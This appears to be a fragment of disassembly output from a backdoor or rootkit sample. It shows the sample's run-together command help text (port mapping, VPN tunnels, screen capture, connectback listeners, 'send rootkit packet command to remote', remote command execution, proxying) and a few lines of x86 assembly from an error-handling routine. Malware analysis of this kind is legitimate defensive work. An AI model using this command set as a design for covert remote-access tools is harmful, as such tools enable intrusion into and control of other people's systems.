tmap________listenport___remoteip:port______port_map_nportmapclose___________________________________close_portmap_n_nvpnlist________________________________________vpn_list_netcard_nvpnopen________localcardid___remoteid__________vpn_open_nvpnclose_______________________________________vpn_close_nvpnstat________________________________________vpn_status_n_nscreen_________sessionid_____savepath__________capture_current_screen_picture_n_n_nwaitconnect____listenport___password___timeout_seconds__n________________________________________________listen_and_wait_for_connectback_in_seconds_n_ncmdpacket______ip:port___pass___code___________arg_____send_rootkit_packet_command_to_remote_n_______________________________execute__________cmd_line___n_______________________________proxy___________port__n_______________________________proxyclose_n_______________________________portmap_________port___ip:port__n_______________________________portmapclose_n_______________________________listen__________port__n_______________________________listenclose_n_______________________________connectback_____localport__n_n_n
push ebx
call fcn.00401a80
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
push str.Bad_command_n
push ebx
call fcn.00401a80
mov ecx, dword [ebp - 8]
add esp, 8
xor ecx, ebp
pop edi
pop esi
xor eax, eax
pop ebx
call fcn.004144c7
mov esp, ebp
pop ebp
ret 4
call fcn.00415b38
int3